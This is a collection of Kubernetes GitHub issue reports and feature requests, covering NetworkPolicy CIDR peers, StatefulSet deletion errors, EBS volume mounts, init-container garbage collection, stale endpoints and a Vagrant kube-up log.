type additions:\r \r    \r +++ b/pkg/apis/networking/types.go\r @@ -90,6 +90,9 @@ type networkpolicyport struct {\r         port  intstr.intorstring\r  }\r  \r +type cidr string\r +\r  // networkpolicypeer describes a peer to allow traffic from. exactly one of its fields\r  // must be specified.\r  type networkpolicypeer struct {\r @@ -104,6 +107,10 @@ type networkpolicypeer struct {\r         // selector semantics. if present but empty, this selector selects all namespaces.\r         // +optional\r         namespaceselector  metav1.labelselector\r +\r +       // selects ip range s  that a pod can accept  ingrees  or send  egress  traffic.\r +       // +optional\r +       cidrs   cidr\r  }\r    \r \r summary:\r - we want this to be \ beta\ . \r   - normally driven through an annotation and things only graduated to official fields at ga time\r   - potential example spec https://gist.github.com/cmluciano/9e1e18856efabc4629407efff5920fb0\r      \r for discussion:\r   - open issue noting that annotations are now no longer preferred kubernetes/community 869\r     - should we continue down the annotation path, or should we consider adopting these new new guidelines\r     - i'll continue working on the annotation assumption, but i figured it was worth mentioning the newer guidelines\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r \r kubectl describe nodes <windows-node>\r \r    \r   warning  invaliddiskcapacity  5m  x1715 over 5d    kubelet, 13488k8s9002  invalid capacity 0 on image filesystem\r   warning  imagegcfailed        49s  x1715 over 5d   kubelet, 13488k8s9002  invalid capacity 0 on image filesystem\r    \r \r   what you expected to happen  :\r \r kubelet should get correct stats on windows nodes.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a cluster with windows nodes and run  kubectl describe nodes <node-name> .\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r   what happened  :\r can't delete a statefulsets and i get an error\r error: error when stopping \ workers.yml\ : no kind \ getoptions\  is registered for version \ apps/v1\ \r    sh\r $ kubectl auth can-i get  statefulsets\r yes\r $ kubectl auth can-i create  statefulsets\r yes\r $ kubectl auth can-i delete  statefulsets\r yes\r    \r \r   what you expected to happen  :\r statefulsets will be delete\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a statefulsets and try to delete it\r    sh\r apiversion: apps/v1\r kind: statefulset\r metadata:\r   name: worker\r spec:\r   servicename: \ experience1\ \r   replicas: 4\r   selector:\r     matchlabels:\r       app: experience1\r   template:\r     metadata:\r       labels:\r         app: experience1\r     spec:\r       containers:\r       - name: ssh\r         image: ..... \r    \r \r   anything else we need to know?  :\r it works with a \ cluster-admin\  role\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.6\ , gitcommit:\ 4bc5e7f9a6c25dc4c03d4d656f2cefd21540e28c\ , gittreestate:\ clean\ , builddate:\ 2017-09-14t06:55:55z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2+coreos.0\ , gitcommit:\ b427929b2982726eeb64e985bc1ebb41aaa5e095\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t22:56:14z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r bare metal\r - os  e.g. from /etc/os-release :\r name=\ ubuntu\ \r version=\ 16.04.3 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.3 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r - kernel  e.g.  uname -a  :\r linux 4.13.0-26-generic  29~16.04.2-ubuntu smp tue jan 9 22:00:44 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r gpus daemonsets\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : bug report\r \r \r  \r \r \r   what happened  :\r pod with ebs backed persistent volume stays in container creating state and fails to mount pv.\r \r   what you expected to happen  :\r pod should be in running state after a minute or so\r \r   how to reproduce it  as minimally and precisely as possible   :\r created 1.7.4 cluster with hyperkube running linux 4.9.58-18.55.amzn1.x86_64 on aws\r created pod with persistent volume\r    yaml\r apiversion: v1\r kind: pod\r metadata:\r   name: aws-web\r spec:\r   containers:\r     - name: web\r       image: nginx\r       ports:\r         - name: web\r           containerport: 80\r           protocol: tcp\r       volumemounts:\r         - name: html-volume\r  \r           mountpath: \ /usr/share/nginx/html\ \r   volumes:\r     - name: html-volume\r       awselasticblockstore: \r         volumeid: vol-0b7063eecf56f008d\r         fstype: ext4\r    \r pod stays in container creating.\r \r running a kubectl describe shows this after about 1 minute\r    bash\r warning  failedmount            1m    kubelet, ip-172-16-10-202.ec2.internal  unable to mount volumes for pod \ aws-web_default 53ebddff-2871-11e8-aa04-0ab25ab33f88 \ : timeout expired waiting for volumes to attach/mount for pod \ default\ /\ aws-web\ . list of unattached/unmounted volumes= html-volume \r    \r looking futher into control-manager at -vv 16 i see\r    bash\r aws_util.go:232  nvme path not found \ /dev/disk/by-id/nvme-amazon_elastic_block_store_vol0a3923cc3ab6340a9\ \r    \r it looks like control-manager expects this symlink to exist when it doesn't.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.4\r - cloud provider or hardware configuration: aws \r - os  e.g. from /etc/os-release : name=\ amazon linux ami\ \r version=\ 2017.09\ \r id=\ amzn\ \r id_like=\ rhel fedora\ \r version_id=\ 2017.09\ \r pretty_name=\ amazon linux ami 2017.09\ \r ansi_color=\ 0;33\ \r cpe_name=\ cpe:/o:amazon:linux:2017.09:ga\ \r home_url=\ http://aws.amazon.com/amazon-linux-ami/\ \r - kernel  e.g.  uname -a  : 4.9.58-18.55.amzn1.x86_64\r - install tools: hyperkube\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r we are looking to use our kubernetes cluster as a workload processing system for our clients. we want to use the  in 1.9. however, we have a hard requirement where we cannot preempt a clients job for another job. is there any way to disable preemption but maintain priority? we only need  order the scheduling of workloads going onto the cluster. \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r @jennac

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   >  \r \r   what happened  :\r if the nums of initcontainers greaters than the --maxmum-dead-containers, the initcontainers will be deleted by garbage collector.  like below:\r  i set the gc args : \r --maximum-dead-containers=2 --maximum-dead-containers-per-container=1 \r then create 3 pod with initcontainer on the node\r    \r container id        image                                             command                  created             status                     ports               names\r 214d1bc85175        6b60a9253836                                      \ nginx -g 'daemon off\    3 seconds ago       up 2 seconds                                   k8s_nginx_nginx-spfcw_default_23e939db-3d69-11e8-b372-002dc92800b3_0\r 9b8db298ca4d        6b60a9253836                                      \ nginx -g 'daemon off\    3 seconds ago       up 2 seconds                                   k8s_nginx_nginx-rbcmd_default_23e92d65-3d69-11e8-b372-002dc92800b3_0\r 2060dba8ce1a        6b60a9253836                                      \ nginx -g 'daemon off\    4 seconds ago       up 3 seconds                                   k8s_nginx_nginx-k8rrf_default_23e07345-3d69-11e8-b372-002dc92800b3_0\r ceb187901cca        6b60a9253836                                      \ /bin/sh -c 'echo hel\    4 seconds ago       exited  0  3 seconds ago                       k8s_init-nginx_nginx-rbcmd_default_23e92d65-3d69-11e8-b372-002dc92800b3_0\r c1cc836642b8        6b60a9253836                                      \ /bin/sh -c 'echo hel\    4 seconds ago       exited  0  3 seconds ago                       k8s_init-nginx_nginx-spfcw_default_23e939db-3d69-11e8-b372-002dc92800b3_0\r 8ad1676f2d71        6b60a9253836                                      \ /bin/sh -c 'echo hel\    5 seconds ago       exited  0  4 seconds ago                       k8s_init-nginx_nginx-k8rrf_default_23e07345-3d69-11e8-b372-002dc92800b3_0\r \r    \r you will seeing the kube-gc keep deleteing the init containers\r  apr 11 17:27:28 hpa-vm kubelet 20828 : e0411 17:27:28.961442   20828 kuberuntime_gc.go:128  ====removed container \ 8ad1676f2d71b24bb10c5bbd9e017074b18a822eb877cc20b078c20039117f7d\  ====\r apr 11 17:28:29 hpa-vm kubelet 20828 : e0411 17:28:29.011071   20828 kuberuntime_gc.go:128  ====removed container \ c1cc836642b8e16d548abfdddf6a046ca3ac9db6eadd672fdab786f608e29f05\  ====\r \r   \r \r   what you expected to happen  :\r initcontainers of running pod will not be deleted\r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.0-alpha.0.428+5d144152e4d07f\ , gitcommit:\ 5d144152e4d07f3752c05ec24e31d840adcd90a2\ , gittreestate:\ clean\ , builddate:\ 2018-02-26t02:37:04z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.0-alpha.0.428+5d144152e4d07f\ , gitcommit:\ 5d144152e4d07f3752c05ec24e31d840adcd90a2\ , gittreestate:\ clean\ , builddate:\ 2018-02-26t02:37:04z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

this issue is to gather any high-level bugs directly related to csi raw block volume support.  as issues are reported here, new specific bugs can be opened for direct tracking.\r \r  

is this a bug report or feature request?  :\r  \r   what happened  :\r endpoint contains ips that are no longer assigned to any node in the cluster, leading to communication failures when pods use the service. \r \r   what you expected to happen  :\r ips listed on the endpoint should be in sync with ips of the cluster nodes, i.e.: endpoint ips should be a subset of node ips.\r \r   how to reproduce it  as minimally and precisely as possible   :\r we don't know. but we think this happens more often in a qa environment where we have pre-emptible machines and we think the shutdown hooks of this machines are not properly running or master is not aware of these nodes going down. however we started seeing this in prod clusters and we don't run preemptible machines there but we do run cluster autoscaler which will trigger node shutdowns. \r \r   anything else we need to know?  :\r this is happening with a daemon set that's running nginx-ingress-controller with  hostnetwork: true . we have two services pointing to these pods: \r \r    \r ---\r apiversion: v1\r kind: service\r metadata:\r   name: foo\r   namespace: default\r spec:\r   ports:\r   - port: 80\r     name: http\r   selector:\r     app: ingress-lb\r     active: \ yes\ \r ---\r apiversion: v1\r kind: service\r metadata:\r   name: ingress\r   namespace: default\r spec:\r   type: nodeport\r   ports:\r   - port: 80\r     name: http\r     nodeport: 30000\r   selector:\r     app: ingress-lb\r     active: \ yes\ \r    \r \r  ingress.default 's underlying endpoint is in sync with all the node ips, but  foo.default  is not. \r when doing \r    \r $> kubectl describe ep foo\r name:         foo\r namespace:    default\r labels:       <none>\r annotations:  <none>\r subsets:\r   addresses:          10.240.0.106,.....more-ips-here......,10.240.250.177\r   notreadyaddresses:  10.240.0.55,10.240.0.91\r   ports:\r     name  port  protocol\r     ----  ----  --------\r     http  80    tcp\r \r events:  <none>\r    \r the  notreadyaddresses  don't even exists on the cluster. and the  addresses  contains some ips that are also not part of the the cluster. \r when doing \r  $> kubectl get ep foo -o yaml  we see node names that don't exists in the cluster as well. \r \r looking through this repo's issues, i found two other issues that seemed to be related to this or claim to have the same problem: https://github.com/kubernetes/kubernetes/issues/48396 and https://github.com/kubernetes/kubernetes/issues/56972\r \r   environment  :\r - kubernetes version  use  kubectl version  :  master: 1.10.6-gke.2, nodes: v1.10.5-gke.4 \r - cloud provider or hardware configuration: gcp\r - os  e.g. from /etc/os-release :\r    \r build_id=10452.109.0\r name=\ container-optimized os\ \r kernel_commit_id=a64d42388743f77dc01fef398d96ffdda96b321b\r google_crash_id=lakitu\r version_id=66\r bug_report_url=https://crbug.com/new\r pretty_name=\ container-optimized os from google\ \r version=66\r google_metrics_product_id=26\r home_url=\ https://cloud.google.com/compute/docs/containers/vm-image/\ \r id=cos\r    \r - kernel  e.g.  uname -a  :  linux gke-prod-ex-1-pool-2-828f4e0e-03bv 4.14.22+  1 smp sat aug 4 10:28:50 pdt 2018 x86_64 intel r  xeon r  cpu @ 2.50ghz genuineintel gnu/linux \r - install tools:\r - others:

 \r   environment  :\r - kubernetes version : 1.12.1\r - storageclass: ceph-rbd\r - os: centos7\r \r the pvc bound withe pv had deleted, but the pv was retain. so, can restore the data in released pv?\r \r    \r pvc-9079434d-bc70-11e8-b9ce-000c293d66a5   8gi        rwo            retain           released   devops/nexus-sonatype-nexus                                                 ceph-rbd \r    \r \r

cherry pick pr https://github.com/kubernetes/kubernetes/pull/75087 back to 1.11, 1.12, 1.13\r \r instructions at https://github.com/kubernetes/community/blob/master/contributors/devel/sig-release/cherry-picks.md\r \r 

hi,  i've downloaded fresh 1.0.1 release and tried to get it up on vagrant. my env:      kubernetes 1.0.1 vagrant 1.7.4 virtualbox 4.3.30 osx 10.10.3      here is the log from  cluster/kube-up.sh :      starting cluster using provider: vagrant ... calling verify-prereqs ... calling kube-up using credentials: vagrant:vagrant bringing machine 'master' up with 'virtualbox' provider... bringing machine 'minion-1' up with 'virtualbox' provider... ==> master: importing base box 'kube-fedora21'...  \u001b kprogress: 10% \u001b kprogress: 20% \u001b kprogress: 30% \u001b kprogress: 40% \u001b kprogress: 60% \u001b kprogress: 90% \u001b k==> master: matching mac address for nat networking... ==> master: setting the name of the vm: kubernetes_master_1437759938720_2892 ==> master: clearing any previously set network interfaces... ==> master: preparing network interfaces based on configuration...     master: adapter 1: nat     master: adapter 2: hostonly ==> master: forwarding ports...     master: 22 => 2222  adapter 1  ==> master: running 'pre-boot' vm customizations... ==> master: booting vm... ==> master: waiting for machine to boot. this may take a few minutes...     master: ssh address: 127.0.0.1:2222     master: ssh username: vagrant     master: ssh auth method: private key     master: warning: connection timeout. retrying...     master:      master: vagrant insecure key detected. vagrant will automatically replace     master: this with a newly generated keypair for better security.     master:      master: inserting generated public key within guest...     master: removing insecure key from the guest if it's present...     master: key inserted! disconnecting and reconnecting using new ssh key... ==> master: machine booted and ready! ==> master: checking for guest additions in vm... ==> master: configuring and enabling network interfaces... ==> master: mounting shared folders...     master: /vagrant => /users/petr/research/kubernetes/kubernetes ==> master: running provisioner: shell...     master: running: /var/folders/v8/hpd446l168587p0jrtwmnnxw0000gn/t/vagrant-shell20150724-75616-y3vswj.sh ==> master: adding kubernetes-minion-1 to hosts file ==> master: verifying network configuration ==> master: it looks like the required network bridge has not yet been created ==> master: installing, enabling prerequisites ==> master: resolving dependencies ==> master: --> running transaction check ==> master: ---> package bridge-utils.x86_64 0:1.5-10.fc21 will be installed ==> master: ---> package openvswitch.x86_64 0:2.3.2-1.fc21 will be installed ==> master: --> finished dependency resolution ==> master:  ==> master: dependencies resolved ==> master:  ==> master: ================================================================================ ==> master:  package              arch           version              repository       size ==> master: ================================================================================ ==> master: installing: ==> master:  bridge-utils         x86_64         1.5-10.fc21          fedora           36 k ==> master:  openvswitch          x86_64         2.3.2-1.fc21         updates         1.8 m ==> master:  ==> master: transaction summary ==> master: ================================================================================ ==> master: install  2 packages ==> master: total download size: 1.9 m ==> master: installed size: 7.7 m ==> master: downloading packages: ==> master: warning: /var/cache/yum/x86_64/21/fedora/packages/bridge-utils-1.5-10.fc21.x86_64.rpm: header v3 rsa/sha256 signature, key id 95a43f54: nokey ==> master: public key for bridge-utils-1.5-10.fc21.x86_64.rpm is not installed ==> master: public key for openvswitch-2.3.2-1.fc21.x86_64.rpm is not installed ==> master: -------------------------------------------------------------------------------- ==> master: total                                              1.7 mb/s | 1.9 mb  00:01      ==> master: retrieving key from file:///etc/pki/rpm-gpg/rpm-gpg-key-fedora-21-x86_64 ==> master: importing gpg key 0x95a43f54: ==> master:  userid     : \ fedora  21  <fedora@fedoraproject.org>\  ==> master:  fingerprint: 6596 b8fb abda 5227 a9c5 b59e 89ad 4e87 95a4 3f54 ==> master:  package    : fedora-repos-21-2.noarch  @anaconda  ==> master:  from       : /etc/pki/rpm-gpg/rpm-gpg-key-fedora-21-x86_64 ==> master: running transaction check ==> master: running transaction test ==> master: transaction test succeeded ==> master: running transaction  shutdown inhibited  ==> master:   installing : openvswitch-2.3.2-1.fc21.x86_64                              1/2 ==> master:   ==> master:   installing : bridge-utils-1.5-10.fc21.x86_64                              2/2 ==> master:   ==> master:   verifying  : bridge-utils-1.5-10.fc21.x86_64                              1/2 ==> master:   ==> master:   verifying  : openvswitch-2.3.2-1.fc21.x86_64                              2/2 ==> master:   ==> master:  ==> master: installed: ==> master:   bridge-utils.x86_64 0:1.5-10.fc21      openvswitch.x86_64 0:2.3.2-1.fc21      ==> master: complete! ==> master: created symlink from /etc/systemd/system/multi-user.target.wants/openvswitch.service to /usr/lib/systemd/system/openvswitch.service. ==> master: create a new docker bridge ==> master: cannot find device \ cbr0\  ==> master: bridge cbr0 doesn't exist; can't delete it ==> master: add ovs bridge ==> master: ovs-vsctl: no bridge named obr0 ==> master: ovs-vsctl: no port named gre0 ==> master: add tun device ==> master: ovs-vsctl: no port named tun0 ==> master: add oflow rules ==> master: creating persistent gre tunnels ==> master: created persistent gre tunnels ==> master: add ip route rules such that all pod traffic flows through docker bridge ==> master: network configuration verified ==> master: running release install script ==> master: /kube-install /home/vagrant ==> master: +++ installing salt files into new trees ==> master: ‘./kubernetes/saltbase/salt’ -> ‘/srv/salt-new/salt’ ==> master: ‘./kubernetes/saltbase/salt/fluentd-gcp’ -> ‘/srv/salt-new/salt/fluentd-gcp’ ==> master: ‘./kubernetes/saltbase/salt/fluentd-gcp/init.sls’ -> ‘/srv/salt-new/salt/fluentd-gcp/init.sls’ ==> master: ‘./kubernetes/saltbase/salt/fluentd-gcp/fluentd-gcp.yaml’ -> ‘/srv/salt-new/salt/fluentd-gcp/fluentd-gcp.yaml’ ==> master: ‘./kubernetes/saltbase/salt/docker’ -> ‘/srv/salt-new/salt/docker’ ==> master: ‘./kubernetes/saltbase/salt/docker/init.sls’ -> ‘/srv/salt-new/salt/docker/init.sls’ ==> master: ‘./kubernetes/saltbase/salt/docker/docker.service’ -> ‘/srv/salt-new/salt/docker/docker.service’ ==> master: ‘./kubernetes/saltbase/salt/docker/default’ -> ‘/srv/salt-new/salt/docker/default’ ==> master: ‘./kubernetes/saltbase/salt/docker/docker-defaults’ -> ‘/srv/salt-new/salt/docker/docker-defaults’ ==> master: ‘./kubernetes/saltbase/salt/helpers’ -> ‘/srv/salt-new/salt/helpers’ ==> master: ‘./kubernetes/saltbase/salt/helpers/safe_format_and_mount’ -> ‘/srv/salt-new/salt/helpers/safe_format_and_mount’ ==> master: ‘./kubernetes/saltbase/salt/helpers/init.sls’ -> ‘/srv/salt-new/salt/helpers/init.sls’ ==> master: ‘./kubernetes/saltbase/salt/kube-addons’ -> ‘/srv/salt-new/salt/kube-addons’ ==> master: ‘./kubernetes/saltbase/salt/kube-addons/kube-addon-update.sh’ -> ‘/srv/salt-new/salt/kube-addons/kube-addon-update.sh’ ==> master: ‘./kubernetes/saltbase/salt/kube-addons/init.sls’ -> ‘/srv/salt-new/salt/kube-addons/init.sls’ ==> master: ‘./kubernetes/saltbase/salt/kube-addons/kube-addons.sh’ -> ‘/srv/salt-new/salt/kube-addons/kube-addons.sh’ ==> master: ‘./kubernetes/saltbase/salt/kube-addons/namespace.yaml’ -> ‘/srv/salt-new/salt/kube-addons/namespace.yaml’ ==> master: ‘./kubernetes/saltbase/salt/kube-addons/kube-ui’ -> ‘/srv/salt-new/salt/kube-addons/kube-ui’ ==> master: ‘./kubernetes/saltbase/salt/kube-addons/kube-ui/kube-ui-svc.yaml’ -> ‘/srv/salt-new/salt/kube-addons/kube-ui/kube-ui-svc.yaml’ ==> master: ‘./kubernetes/saltbase/salt/kube-addons/kube-ui/kube-ui-rc.yaml’ -> ‘/srv/salt-new/salt/kube-addons/kube-ui/kube-ui-rc.yaml’ ==> master: ‘./kubernetes/saltbase/salt/kube-addons/kube-addons.service’ -> ‘/srv/salt-new/salt/kube-addons/kube-addons.service’ ==> master: ‘./kubernetes/saltbase/salt/kube-addons/initd’ -> ‘/srv/salt-new/salt/kube-addons/initd’ ==> master: ‘./kubernetes/saltbase/salt/kube-addons/dns’ -> ‘/srv/salt-new/salt/kube-addons/dns’ ==> master: ‘./kubernetes/saltbase/salt/kube-addons/dns/skydns-rc.yaml.in’ -> ‘/srv/salt-new/salt/kube-addons/dns/skydns-rc.yaml.in’ ==> master: ‘./kubernetes/saltbase/salt/kube-addons/dns/skydns-svc.yaml.in’ -> ‘/srv/salt-new/salt/kube-addons/dns/skydns-svc.yaml.in’ ==> master: ‘./kubernetes/saltbase/salt/kube-addons/cluster-monitoring’ -> ‘/srv/salt-new/salt/kube-addons/cluster-monitoring’ ==> master: ‘./kubernetes/saltbase/salt/kube-addons/cluster-monitoring/influxdb’ -> ‘/srv/salt-new/salt/kube-addons/cluster-monitoring/influxdb’ ==> master: ‘./kubernetes/saltbase/salt/kube-addons/cluster-monitoring/influxdb/heapster-controller.yaml’ -> ‘/srv/salt-new/salt/kube-addons/cluster-monitoring/influxdb/heapster-controller.yaml’ ==> master: ‘./kubernetes/saltbase/salt/kube-addons/cluster-monitoring/influxdb/influxdb-service.yaml’ -> ‘/srv/salt-new/salt/kube-addons/cluster-monitoring/influxdb/influxdb-service.yaml’ ==> master: ‘./kubernetes/saltbase/salt/kube-addons/cluster-monitoring/influxdb/heapster-service.yaml’ -> ‘/srv/salt-new/salt/kube-addons/cluster-monitoring/influxdb/heapster-service.yaml’ ==> master: ‘./kubernetes/saltbase/salt/kube-addons/cluster-monitoring/influxdb/influxdb-grafana-controller.yaml’ -> ‘/srv/salt-new/salt/kube-addons/cluster-monitoring/influxdb/influxdb-grafana-controller.yaml’ ==> master: ‘./kubernetes/saltbase/salt/kube-addons/cluster-monitoring/influxdb/grafana-service.yaml’ -> ‘/srv/salt-new/salt/kube-addons/cluster-monitoring/influxdb/grafana-service.yaml’ ==> master: ‘./kubernetes/saltbase/salt/kube-addons/cluster-monitoring/standalone’ -> ‘/srv/salt-new/salt/kube-addons/cluster-monitoring/standalone’ ==> master: ‘./kubernetes/saltbase/salt/kube-addons/cluster-monitoring/standalone/heapster-controller.yaml’ -> ‘/srv/salt ==> master: -new/salt/kube-addons/cluster-monitoring/standalone/heapster-controller.yaml’ ==> master: ‘./kubernetes/saltbase/salt/kube-addons/cluster-monitoring/standalone/heapster-service.yaml’ -> ‘/srv/salt-new/salt/kube-addons/cluster-monitoring/standalone/heapster-service.yaml’ ==> master: ‘./kubernetes/saltbase/salt/kube-addons/cluster-monitoring/googleinfluxdb’ -> ‘/srv/salt-new/salt/kube-addons/cluster-monitoring/googleinfluxdb’ ==> master: ‘./kubernetes/saltbase/salt/kube-addons/cluster-monitoring/googleinfluxdb/heapster-controller-combined.yaml’ -> ‘/srv/salt-new/salt/kube-addons/cluster-monitoring/googleinfluxdb/heapster-controller-combined.yaml’ ==> master: ‘./kubernetes/saltbase/salt/kube-addons/cluster-monitoring/google’ -> ‘/srv/salt-new/salt/kube-addons/cluster-monitoring/google’ ==> master: ‘./kubernetes/saltbase/salt/kube-addons/cluster-monitoring/google/heapster-controller.yaml’ -> ‘/srv/salt-new/salt/kube-addons/cluster-monitoring/google/heapster-controller.yaml’ ==> master: ‘./kubernetes/saltbase/salt/kube-addons/cluster-monitoring/google/heapster-service.yaml’ -> ‘/srv/salt-new/salt/kube-addons/cluster-monitoring/google/heapster-service.yaml’ ==> master: ‘./kubernetes/saltbase/salt/kube-addons/fluentd-elasticsearch’ -> ‘/srv/salt-new/salt/kube-addons/fluentd-elasticsearch’ ==> master: ‘./kubernetes/saltbase/salt/kube-addons/fluentd-elasticsearch/es-service.yaml’ -> ‘/srv/salt-new/salt/kube-addons/fluentd-elasticsearch/es-service.yaml’ ==> master: ‘./kubernetes/saltbase/salt/kube-addons/fluentd-elasticsearch/es-controller.yaml’ -> ‘/srv/salt-new/salt/kube-addons/fluentd-elasticsearch/es-controller.yaml’ ==> master: ‘./kubernetes/saltbase/salt/kube-addons/fluentd-elasticsearch/kibana-service.yaml’ -> ‘/srv/salt-new/salt/kube-addons/fluentd-elasticsearch/kibana-service.yaml’ ==> master: ‘./kubernetes/saltbase/salt/kube-addons/fluentd-elasticsearch/kibana-controller.yaml’ -> ‘/srv/salt-new/salt/kube-addons/fluentd-elasticsearch/kibana-controller.yaml’ ==> master: ‘./kubernetes/saltbase/salt/kube-master-addons’ -> ‘/srv/salt-new/salt/kube-master-addons’ ==> master: ‘./kubernetes/saltbase/salt/kube-master-addons/init.sls’ -> ‘/srv/salt-new/salt/kube-master-addons/init.sls’ ==> master: ‘./kubernetes/saltbase/salt/kube-master-addons/kube-master-addons.service’ -> ‘/srv/salt-new/salt/kube-master-addons/kube-master-addons.service’ ==> master: ‘./kubernetes/saltbase/salt/kube-master-addons/kube-master-addons.sh’ -> ‘/srv/salt-new/salt/kube-master-addons/kube-master-addons.sh’ ==> master: ‘./kubernetes/saltbase/salt/kube-master-addons/initd’ -> ‘/srv/salt-new/salt/kube-master-addons/initd’ ==> master: ‘./kubernetes/saltbase/salt/kube-scheduler’ -> ‘/srv/salt-new/salt/kube-scheduler’ ==> master: ‘./kubernetes/saltbase/salt/kube-scheduler/init.sls’ -> ‘/srv/salt-new/salt/kube-scheduler/init.sls’ ==> master: ‘./kubernetes/saltbase/salt/kube-scheduler/kube-scheduler.manifest’ -> ‘/srv/salt-new/salt/kube-scheduler/kube-scheduler.manifest’ ==> master: ‘./kubernetes/saltbase/salt/openvpn’ -> ‘/srv/salt-new/salt/openvpn’ ==> master: ‘./kubernetes/saltbase/salt/openvpn/init.sls’ -> ‘/srv/salt-new/salt/openvpn/init.sls’ ==> master: ‘./kubernetes/saltbase/salt/openvpn/server.conf’ -> ‘/srv/salt-new/salt/openvpn/server.conf’ ==> master: ‘./kubernetes/saltbase/salt/monit’ -> ‘/srv/salt-new/salt/monit’ ==> master: ‘./kubernetes/saltbase/salt/monit/docker’ -> ‘/srv/salt-new/salt/monit/docker’ ==> master: ‘./kubernetes/saltbase/salt/monit/kube-addons’ -> ‘/srv/salt-new/salt/monit/kube-addons’ ==> master: ‘./kubernetes/saltbase/salt/monit/init.sls’ -> ‘/srv/salt-new/salt/monit/init.sls’ ==> master: ‘./kubernetes/saltbase/salt/monit/kube-proxy’ -> ‘/srv/salt-new/salt/monit/kube-proxy’ ==> master: ‘./kubernetes/saltbase/salt/monit/kubelet’ -> ‘/srv/salt-new/salt/monit/kubelet’ ==> master: ‘./kubernetes/saltbase/salt/monit/monit_watcher.sh’ -> ‘/srv/salt-new/salt/monit/monit_watcher.sh’ ==> master: ‘./kubernetes/saltbase/salt/debian-auto-upgrades’ -> ‘/srv/salt-new/salt/debian-auto-upgrades’ ==> master: ‘./kubernetes/saltbase/salt/debian-auto-upgrades/20auto-upgrades’ -> ‘/srv/salt-new/salt/debian-auto-upgrades/20auto-upgrades’ ==> master: ‘./kubernetes/saltbase/salt/debia ==> master: n-auto-upgrades/init.sls’ -> ‘/srv/salt-new/salt/debian-auto-upgrades/init.sls’ ==> master: ‘./kubernetes/saltbase/salt/logrotate’ -> ‘/srv/salt-new/salt/logrotate’ ==> master: ‘./kubernetes/saltbase/salt/logrotate/conf’ -> ‘/srv/salt-new/salt/logrotate/conf’ ==> master: ‘./kubernetes/saltbase/salt/logrotate/init.sls’ -> ‘/srv/salt-new/salt/logrotate/init.sls’ ==> master: ‘./kubernetes/saltbase/salt/logrotate/docker-containers’ -> ‘/srv/salt-new/salt/logrotate/docker-containers’ ==> master: ‘./kubernetes/saltbase/salt/logrotate/cron’ -> ‘/srv/salt-new/salt/logrotate/cron’ ==> master: ‘./kubernetes/saltbase/salt/nginx’ -> ‘/srv/salt-new/salt/nginx’ ==> master: ‘./kubernetes/saltbase/salt/nginx/kubernetes-site’ -> ‘/srv/salt-new/salt/nginx/kubernetes-site’ ==> master: ‘./kubernetes/saltbase/salt/nginx/init.sls’ -> ‘/srv/salt-new/salt/nginx/init.sls’ ==> master: ‘./kubernetes/saltbase/salt/nginx/nginx.json’ -> ‘/srv/salt-new/salt/nginx/nginx.json’ ==> master: ‘./kubernetes/saltbase/salt/nginx/nginx.conf’ -> ‘/srv/salt-new/salt/nginx/nginx.conf’ 